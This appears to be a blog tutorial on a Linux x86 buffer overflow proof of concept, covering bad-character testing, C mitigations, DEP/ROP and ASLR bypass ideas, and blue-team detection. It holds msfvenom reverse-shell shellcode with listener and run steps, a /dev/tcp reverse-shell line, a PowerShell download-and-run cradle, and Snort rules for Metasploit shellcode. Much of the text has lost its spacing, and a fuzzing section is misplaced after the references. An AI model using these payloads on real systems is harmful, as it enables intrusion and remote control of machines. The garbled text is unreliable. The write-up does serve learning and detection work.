BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

